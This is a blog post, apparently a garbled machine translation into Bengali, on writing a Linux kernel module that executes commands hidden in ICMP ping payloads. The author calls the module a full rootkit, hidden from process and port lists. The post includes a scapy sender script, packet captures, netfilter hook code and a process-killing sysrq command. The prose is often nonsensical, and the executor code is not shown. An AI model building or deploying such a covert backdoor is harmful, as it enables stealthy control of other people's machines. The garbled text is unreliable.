ICMP āĻ‰āĻĒāĻ° āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻļā§‡āĻ˛

ICMP āĻ‰āĻĒāĻ° āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻļā§‡āĻ˛

TL; āĻĄāĻŋāĻ†āĻ°: āĻ†āĻŽāĻŋ āĻāĻ•āĻŸāĻŋ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻŽāĻĄāĻŋāĻ‰āĻ˛ āĻ˛āĻŋāĻ–āĻ›āĻŋ āĻ¯ā§‡āĻŸāĻŋ ICMP āĻĒā§‡āĻ˛ā§‹āĻĄ āĻĨā§‡āĻ•ā§‡ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻĒāĻĄāĻŧāĻŦā§‡ āĻāĻŦāĻ‚ āĻ†āĻĒāĻ¨āĻžāĻ° SSH āĻ•ā§āĻ°ā§āĻ¯āĻžāĻļ āĻšāĻ˛ā§‡āĻ“ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°ā§‡ āĻ¸ā§‡āĻ—ā§āĻ˛āĻŋ āĻšāĻžāĻ˛āĻžāĻŦā§‡āĨ¤ āĻ¸āĻŦāĻšā§‡āĻ¯āĻŧā§‡ āĻ…āĻ§ā§ˆāĻ°ā§āĻ¯ āĻœāĻ¨ā§āĻ¯, āĻ¸āĻŦ āĻ•ā§‹āĻĄ āĻšāĻ¯āĻŧ GitHub.

āĻ¸āĻžāĻŦāĻ§āĻžāĻ¨! āĻ…āĻ­āĻŋāĻœā§āĻž āĻ¸āĻŋ āĻĒā§āĻ°ā§‹āĻ—ā§āĻ°āĻžāĻŽāĻžāĻ°āĻĻā§‡āĻ° āĻ°āĻ•ā§āĻ¤ā§‡āĻ° āĻ…āĻļā§āĻ°ā§āĻ¤ā§‡ āĻĢā§‡āĻŸā§‡ āĻĒāĻĄāĻŧāĻžāĻ° āĻā§āĻāĻ•āĻŋ! āĻ†āĻŽāĻŋ āĻāĻŽāĻ¨āĻ•āĻŋ āĻĒāĻ°āĻŋāĻ­āĻžāĻˇāĻžāĻ¯āĻŧ āĻ­ā§āĻ˛ āĻšāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ•ā§‹āĻ¨ā§‹ āĻ¸āĻŽāĻžāĻ˛ā§‹āĻšāĻ¨āĻž āĻ¸ā§āĻŦāĻžāĻ—āĻ¤ āĻœāĻžāĻ¨āĻžāĻ‡. āĻĒā§‹āĻ¸ā§āĻŸāĻŸāĻŋ āĻ¤āĻžāĻĻā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ¯āĻžāĻĻā§‡āĻ° āĻ¸āĻŋ āĻĒā§āĻ°ā§‹āĻ—ā§āĻ°āĻžāĻŽāĻŋāĻ‚ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ–ā§āĻŦ āĻŽā§‹āĻŸāĻžāĻŽā§āĻŸāĻŋ āĻ§āĻžāĻ°āĻŖāĻž āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡ āĻāĻŦāĻ‚ āĻ˛āĻŋāĻ¨āĻžāĻ•ā§āĻ¸ā§‡āĻ° āĻ­āĻŋāĻ¤āĻ°ā§‡āĻ° āĻĻāĻŋāĻ•ā§‡ āĻ¨āĻœāĻ° āĻĻāĻŋāĻ¤ā§‡ āĻšāĻžāĻ¨āĨ¤

āĻ†āĻŽāĻžāĻ° āĻĒā§āĻ°āĻĨāĻŽ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯ āĻĒā§āĻ°āĻŦāĻ¨ā§āĻ§ āĻ‰āĻ˛ā§āĻ˛ā§‡āĻ–āĻŋāĻ¤ SoftEther VPN, āĻ¯āĻž āĻ•āĻŋāĻ›ā§ "āĻ¨āĻŋāĻ¯āĻŧāĻŽāĻŋāĻ¤" āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ āĻ…āĻ¨ā§āĻ•āĻ°āĻŖ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡, āĻŦāĻŋāĻļā§‡āĻˇ āĻ•āĻ°ā§‡ HTTPS, ICMP āĻāĻŦāĻ‚ āĻāĻŽāĻ¨āĻ•āĻŋ DNSāĨ¤ āĻ†āĻŽāĻŋ āĻ•āĻ˛ā§āĻĒāĻ¨āĻž āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŋ āĻ¯ā§‡ āĻ¤āĻžāĻĻā§‡āĻ° āĻŽāĻ§ā§āĻ¯ā§‡ āĻĒā§āĻ°āĻĨāĻŽāĻŸāĻŋ āĻ•āĻžāĻœ āĻ•āĻ°āĻ›ā§‡, āĻ¯ā§‡āĻšā§‡āĻ¤ā§ āĻ†āĻŽāĻŋ HTTP(S) āĻāĻ° āĻ¸āĻžāĻĨā§‡ āĻ–ā§āĻŦ āĻĒāĻ°āĻŋāĻšāĻŋāĻ¤, āĻāĻŦāĻ‚ āĻ†āĻŽāĻžāĻ•ā§‡ ICMP āĻāĻŦāĻ‚ DNS āĻāĻ° āĻ‰āĻĒāĻ° āĻŸāĻžāĻ¨ā§‡āĻ˛āĻŋāĻ‚ āĻļāĻŋāĻ–āĻ¤ā§‡ āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛āĨ¤

ICMP āĻ‰āĻĒāĻ° āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻļā§‡āĻ˛

āĻšā§āĻ¯āĻžāĻ, 2020 āĻ¸āĻžāĻ˛ā§‡ āĻ†āĻŽāĻŋ āĻļāĻŋāĻ–ā§‡āĻ›āĻŋ āĻ¯ā§‡ āĻ†āĻĒāĻ¨āĻŋ ICMP āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸāĻ—ā§āĻ˛āĻŋāĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻ¨āĻŋāĻ°ā§āĻŦāĻŋāĻšāĻžāĻ°ā§‡ āĻĒā§‡āĻ˛ā§‹āĻĄ āĻ¸āĻ¨ā§āĻ¨āĻŋāĻŦā§‡āĻļ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤ āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻĻā§‡āĻ°āĻŋ āĻ¨āĻž āĻšāĻ“āĻ¯āĻŧāĻž āĻ­āĻžāĻ˛ā§‹! āĻāĻŦāĻ‚ āĻ¯ā§‡āĻšā§‡āĻ¤ā§ āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ•āĻŋāĻ›ā§ āĻ•āĻ°āĻž āĻ¯ā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡, āĻ¤āĻžāĻ‡ āĻāĻŸāĻŋ āĻ•āĻ°āĻž āĻĻāĻ°āĻ•āĻžāĻ°āĨ¤ āĻ¯ā§‡āĻšā§‡āĻ¤ā§ āĻ†āĻŽāĻžāĻ° āĻĻā§ˆāĻ¨āĻ¨ā§āĻĻāĻŋāĻ¨ āĻœā§€āĻŦāĻ¨ā§‡ āĻ†āĻŽāĻŋ āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ‡ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻ˛āĻžāĻ‡āĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻŋ, SSH āĻāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ¸āĻš, āĻāĻ•āĻŸāĻŋ ICMP āĻļā§‡āĻ˛ āĻāĻ° āĻ§āĻžāĻ°āĻŖāĻžāĻŸāĻŋ āĻĒā§āĻ°āĻĨāĻŽā§‡ āĻ†āĻŽāĻžāĻ° āĻŽāĻžāĻĨāĻžāĻ¯āĻŧ āĻāĻ¸ā§‡āĻ›āĻŋāĻ˛āĨ¤ āĻāĻŦāĻ‚ āĻāĻ•āĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻŦā§āĻ˛āĻļāĻŋāĻ˛ā§āĻĄ āĻŦāĻŋāĻ™ā§āĻ—ā§‹ āĻāĻ•āĻ¤ā§āĻ°āĻŋāĻ¤ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻ†āĻŽāĻŋ āĻāĻŸāĻŋāĻ•ā§‡ āĻāĻŽāĻ¨ āĻāĻ•āĻŸāĻŋ āĻ­āĻžāĻˇāĻžāĻ¯āĻŧ āĻ˛āĻŋāĻ¨āĻžāĻ•ā§āĻ¸ āĻŽāĻĄāĻŋāĻ‰āĻ˛ āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻ˛ā§‡āĻ–āĻžāĻ° āĻ¸āĻŋāĻĻā§āĻ§āĻžāĻ¨ā§āĻ¤ āĻ¨āĻŋāĻ¯āĻŧā§‡āĻ›āĻŋ āĻ¯āĻžāĻ° āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ†āĻŽāĻžāĻ° āĻ•ā§‡āĻŦāĻ˛ āĻŽā§‹āĻŸāĻžāĻŽā§āĻŸāĻŋ āĻ§āĻžāĻ°āĻŖāĻž āĻ†āĻ›ā§‡āĨ¤ āĻāĻ‡ āĻ§āĻ°āĻ¨ā§‡āĻ° āĻļā§‡āĻ˛ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ—ā§āĻ˛āĻŋāĻ° āĻ¤āĻžāĻ˛āĻŋāĻ•āĻžāĻ¯āĻŧ āĻĻā§ƒāĻļā§āĻ¯āĻŽāĻžāĻ¨ āĻšāĻŦā§‡ āĻ¨āĻž, āĻ†āĻĒāĻ¨āĻŋ āĻāĻŸāĻŋ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡ āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨ āĻāĻŦāĻ‚ āĻāĻŸāĻŋ āĻĢāĻžāĻ‡āĻ˛ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ āĻĨāĻžāĻ•āĻŦā§‡ āĻ¨āĻž, āĻ†āĻĒāĻ¨āĻŋ āĻļā§‹āĻ¨āĻžāĻ° āĻĒā§‹āĻ°ā§āĻŸāĻ—ā§āĻ˛āĻŋāĻ° āĻ¤āĻžāĻ˛āĻŋāĻ•āĻžāĻ¯āĻŧ āĻ¸āĻ¨ā§āĻĻā§‡āĻšāĻœāĻ¨āĻ• āĻ•āĻŋāĻ›ā§ āĻĻā§‡āĻ–āĻ¤ā§‡ āĻĒāĻžāĻŦā§‡āĻ¨ āĻ¨āĻžāĨ¤ āĻāĻ° āĻ•ā§āĻˇāĻŽāĻ¤āĻžāĻ° āĻĒāĻ°āĻŋāĻĒā§āĻ°ā§‡āĻ•ā§āĻˇāĻŋāĻ¤ā§‡, āĻāĻŸāĻŋ āĻāĻ•āĻŸāĻŋ āĻĒā§‚āĻ°ā§āĻŖāĻžāĻ™ā§āĻ— āĻ°ā§āĻŸāĻ•āĻŋāĻŸ, āĻ¤āĻŦā§‡ āĻ†āĻŽāĻŋ āĻ†āĻļāĻž āĻ•āĻ°āĻŋ āĻāĻŸāĻŋāĻ•ā§‡ āĻ‰āĻ¨ā§āĻ¨āĻ¤ āĻ•āĻ°āĻŦ āĻāĻŦāĻ‚ āĻļā§‡āĻˇ āĻ…āĻŦāĻ˛āĻŽā§āĻŦāĻ¨ā§‡āĻ° āĻļā§‡āĻ˛ āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻŦ āĻ¯āĻ–āĻ¨ SSH-āĻāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ˛āĻ— āĻ‡āĻ¨ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ˛ā§‹āĻĄ āĻ—āĻĄāĻŧ āĻ–ā§āĻŦ āĻŦā§‡āĻļāĻŋ āĻšāĻ¯āĻŧ āĻāĻŦāĻ‚ āĻ•āĻŽāĻĒāĻ•ā§āĻˇā§‡ āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ° āĻ•āĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤ echo i > /proc/sysrq-triggerāĻ°āĻŋāĻŦā§āĻŸ āĻ¨āĻž āĻ•āĻ°ā§‡ āĻ…ā§āĻ¯āĻžāĻ•ā§āĻ¸ā§‡āĻ¸ āĻĒā§āĻ¨āĻ°ā§āĻĻā§āĻ§āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡āĨ¤

āĻ†āĻŽāĻ°āĻž āĻĒāĻžāĻ‡āĻĨāĻ¨ āĻāĻŦāĻ‚ āĻ¸āĻŋ, āĻ—ā§āĻ—āĻ˛ āĻāĻŦāĻ‚ āĻŸā§‡āĻ•ā§āĻ¸āĻŸ āĻāĻĄāĻŋāĻŸāĻ°, āĻŽā§ŒāĻ˛āĻŋāĻ• āĻĒā§āĻ°ā§‹āĻ—ā§āĻ°āĻžāĻŽāĻŋāĻ‚ āĻĻāĻ•ā§āĻˇāĻ¤āĻž āĻ¨āĻŋāĻ‡ āĻ…āĻĒāĻžāĻ°ā§āĻĨāĻŋāĻŦ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§ āĻ­ā§‡āĻ™ā§‡ āĻ—ā§‡āĻ˛ā§‡ āĻ›ā§āĻ°āĻŋāĻ° āĻ¨āĻŋāĻšā§‡ āĻ°āĻžāĻ–āĻ¤ā§‡ āĻ†āĻĒāĻ¨āĻžāĻ° āĻ†āĻĒāĻ¤ā§āĻ¤āĻŋ āĻ¨ā§‡āĻ‡ (āĻāĻšā§āĻ›āĻŋāĻ• - āĻ¸ā§āĻĨāĻžāĻ¨ā§€āĻ¯āĻŧ āĻ­āĻžāĻ°ā§āĻšā§āĻ¯āĻŧāĻžāĻ˛āĻŦāĻ•ā§āĻ¸/āĻ•ā§‡āĻ­āĻŋāĻāĻŽ/āĻ‡āĻ¤ā§āĻ¯āĻžāĻĻāĻŋ) āĻāĻŦāĻ‚ āĻšāĻ˛ā§āĻ¨!

āĻŽāĻ•ā§āĻ•ā§‡āĻ˛ā§‡āĻ° āĻĒāĻ•ā§āĻˇā§‡

āĻ†āĻŽāĻžāĻ° āĻ•āĻžāĻ›ā§‡ āĻŽāĻ¨ā§‡ āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ āĻ¯ā§‡ āĻ•ā§āĻ˛āĻžāĻ¯āĻŧā§‡āĻ¨ā§āĻŸ āĻ…āĻ‚āĻļā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ†āĻŽāĻžāĻ•ā§‡ āĻĒā§āĻ°āĻžāĻ¯āĻŧ 80 āĻ˛āĻžāĻ‡āĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻāĻ•āĻŸāĻŋ āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻšāĻŦā§‡, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻāĻŽāĻ¨ āĻ¸āĻĻāĻ¯āĻŧ āĻ˛ā§‹āĻ• āĻ›āĻŋāĻ˛ āĻ¯āĻžāĻ°āĻž āĻ†āĻŽāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻāĻŸāĻŋ āĻ•āĻ°ā§‡āĻ›āĻŋāĻ˛ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ•āĻžāĻœ. āĻ•ā§‹āĻĄāĻŸāĻŋ āĻ…āĻĒā§āĻ°āĻ¤ā§āĻ¯āĻžāĻļāĻŋāĻ¤āĻ­āĻžāĻŦā§‡ āĻ¸āĻšāĻœ āĻšāĻ¯āĻŧā§‡ āĻ‰āĻ ā§‡āĻ›ā§‡, 10āĻŸāĻŋ āĻ‰āĻ˛ā§āĻ˛ā§‡āĻ–āĻ¯ā§‹āĻ—ā§āĻ¯ āĻ˛āĻžāĻ‡āĻ¨ā§‡ āĻĢāĻŋāĻŸ āĻ•āĻ°āĻ›ā§‡:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸ āĻĻā§āĻŸāĻŋ āĻ†āĻ°ā§āĻ—ā§āĻŽā§‡āĻ¨ā§āĻŸ āĻ˛āĻžāĻ—ā§‡, āĻāĻ•āĻŸāĻŋ āĻ āĻŋāĻ•āĻžāĻ¨āĻž āĻāĻŦāĻ‚ āĻāĻ•āĻŸāĻŋ āĻĒā§‡āĻ˛ā§‹āĻĄ. āĻĒāĻžāĻ āĻžāĻ¨ā§‹āĻ° āĻ†āĻ—ā§‡, āĻĒā§‡āĻ˛ā§‹āĻĄā§‡āĻ° āĻ†āĻ—ā§‡ āĻāĻ•āĻŸāĻŋ āĻ•ā§€ āĻĨāĻžāĻ•ā§‡ run:, āĻ°ā§āĻ¯āĻžāĻ¨ā§āĻĄāĻŽ āĻĒā§‡āĻ˛ā§‹āĻĄ āĻ¸āĻš āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœāĻ—ā§āĻ˛āĻŋ āĻŦāĻžāĻĻ āĻĻā§‡āĻ“āĻ¯āĻŧāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ†āĻŽāĻžāĻĻā§‡āĻ° āĻāĻŸāĻŋāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻšāĻŦā§‡āĨ¤

āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡āĻ° āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻŦāĻŋāĻļā§‡āĻˇ āĻ¸ā§āĻŦāĻŋāĻ§āĻžāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨, āĻ¤āĻžāĻ‡ āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸāĻŸāĻŋāĻ•ā§‡ āĻ¸ā§āĻĒāĻžāĻ° āĻ‡āĻ‰āĻœāĻžāĻ° āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻšāĻžāĻ˛āĻžāĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ āĻŽā§ƒāĻ¤ā§āĻ¯ā§āĻĻāĻ¨ā§āĻĄā§‡āĻ° āĻ…āĻ¨ā§āĻŽāĻ¤āĻŋ āĻĻāĻŋāĻ¤ā§‡ āĻ­ā§āĻ˛āĻŦā§‡āĻ¨ āĻ¨āĻž āĻāĻŦāĻ‚ āĻ¨āĻŋāĻœā§‡āĻ‡ āĻ¸ā§āĻ•ā§āĻ¯āĻžāĻĒāĻŋ āĻ‡āĻ¨āĻ¸ā§āĻŸāĻ˛ āĻ•āĻ°ā§āĻ¨āĨ¤ āĻĄā§‡āĻŦāĻŋāĻ¯āĻŧāĻžāĻ¨ āĻ¨āĻžāĻŽā§‡ āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻ†āĻ›ā§‡ python3-scapy. āĻāĻ–āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻāĻŸāĻŋ āĻ•āĻŋāĻ­āĻžāĻŦā§‡ āĻ•āĻžāĻœ āĻ•āĻ°ā§‡ āĻ¤āĻž āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻšāĻžāĻ˛āĻžāĻ¨ā§‹ āĻāĻŦāĻ‚ āĻ†āĻ‰āĻŸāĻĒā§āĻŸ āĻ•āĻ°āĻž
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

āĻ¸ā§āĻ¨āĻŋāĻĢāĻžāĻ°ā§‡ āĻāĻŸāĻŋ āĻĻā§‡āĻ–āĻ¤ā§‡ āĻ•ā§‡āĻŽāĻ¨ āĻ˛āĻžāĻ—ā§‡
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

āĻĒā§āĻ°āĻ¤āĻŋāĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœā§‡āĻ° āĻĒā§‡āĻ˛ā§‹āĻĄ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻžāĨ¤

āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻŽāĻĄāĻŋāĻ‰āĻ˛

āĻāĻ•āĻŸāĻŋ āĻĄā§‡āĻŦāĻŋāĻ¯āĻŧāĻžāĻ¨ āĻ­āĻžāĻ°ā§āĻšā§āĻ¯āĻŧāĻžāĻ˛ āĻŽā§‡āĻļāĻŋāĻ¨ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻ¤ā§‡ āĻ†āĻĒāĻ¨āĻžāĻ° āĻ…āĻ¨ā§āĻ¤āĻ¤ āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻšāĻŦā§‡ make и linux-headers-amd64, āĻŦāĻžāĻ•āĻŋāĻŸāĻž āĻ¨āĻŋāĻ°ā§āĻ­āĻ°āĻļā§€āĻ˛āĻ¤āĻžāĻ° āĻ†āĻ•āĻžāĻ°ā§‡ āĻ†āĻ¸āĻŦā§‡āĨ¤ āĻ†āĻŽāĻŋ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§ā§‡ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻ•ā§‹āĻĄ āĻĒā§āĻ°āĻĻāĻžāĻ¨ āĻ•āĻ°āĻŦ āĻ¨āĻž; āĻ†āĻĒāĻ¨āĻŋ āĻāĻŸāĻŋ Github āĻ āĻ•ā§āĻ˛ā§‹āĻ¨ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

āĻšā§āĻ• āĻ¸ā§‡āĻŸāĻ†āĻĒ

āĻļā§āĻ°ā§ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻŽāĻĄāĻŋāĻ‰āĻ˛ āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻ¤ā§‡ āĻāĻŦāĻ‚ āĻ†āĻ¨āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ†āĻŽāĻžāĻĻā§‡āĻ° āĻĻā§āĻŸāĻŋ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨āĨ¤ āĻ†āĻ¨āĻ˛ā§‹āĻĄ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻž, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ¤āĻžāĻ°āĻĒāĻ° rmmod āĻāĻŸāĻŋ āĻ•āĻžāĻœ āĻ•āĻ°āĻŦā§‡ āĻ¨āĻž; āĻŽāĻĄāĻŋāĻ‰āĻ˛āĻŸāĻŋ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻŦāĻ¨ā§āĻ§ āĻšāĻ˛ā§‡āĻ‡ āĻ†āĻ¨āĻ˛ā§‹āĻĄ āĻšāĻŦā§‡āĨ¤

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

āĻāĻ–āĻžāĻ¨ā§‡ āĻ•āĻŋ āĻšāĻšā§āĻ›ā§‡:

  1. āĻĻā§āĻŸāĻŋ āĻšā§‡āĻĄāĻžāĻ° āĻĢāĻžāĻ‡āĻ˛ āĻŽāĻĄāĻŋāĻ‰āĻ˛ āĻ¨āĻŋāĻœā§‡āĻ‡ āĻāĻŦāĻ‚ āĻ¨ā§‡āĻŸāĻĢāĻŋāĻ˛ā§āĻŸāĻžāĻ° āĻŽā§āĻ¯āĻžāĻ¨āĻŋāĻĒā§āĻ˛ā§‡āĻŸ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻŸāĻžāĻ¨āĻž āĻšāĻ¯āĻŧāĨ¤
  2. āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ•āĻ˛āĻžāĻĒ āĻāĻ•āĻŸāĻŋ āĻ¨ā§‡āĻŸāĻĢāĻŋāĻ˛ā§āĻŸāĻžāĻ°ā§‡āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ¯āĻžāĻ¯āĻŧ, āĻ†āĻĒāĻ¨āĻŋ āĻāĻ¤ā§‡ āĻšā§āĻ• āĻ¸ā§‡āĻŸ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤ āĻāĻŸāĻŋ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ¯ā§‡ āĻ•āĻžāĻ āĻžāĻŽā§‹āĻŸāĻŋ āĻšā§āĻ• āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻ¤āĻž āĻ˜ā§‹āĻˇāĻŖāĻž āĻ•āĻ°āĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ āĻ¸āĻŦāĻšā§‡āĻ¯āĻŧā§‡ āĻ—ā§āĻ°ā§āĻ¤ā§āĻŦāĻĒā§‚āĻ°ā§āĻŖ āĻŦāĻŋāĻˇāĻ¯āĻŧ āĻšāĻ˛ āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°āĻž āĻ¯āĻž āĻšā§āĻ• āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ° āĻ•āĻ°āĻž āĻšāĻŦā§‡: nfho.hook = icmp_cmd_executor; āĻ†āĻŽāĻŋ āĻĒāĻ°ā§‡ āĻ¨āĻŋāĻœā§‡āĻ‡ āĻĢāĻžāĻ‚āĻļāĻ¨ā§‡ āĻ¯āĻžāĻŦāĨ¤
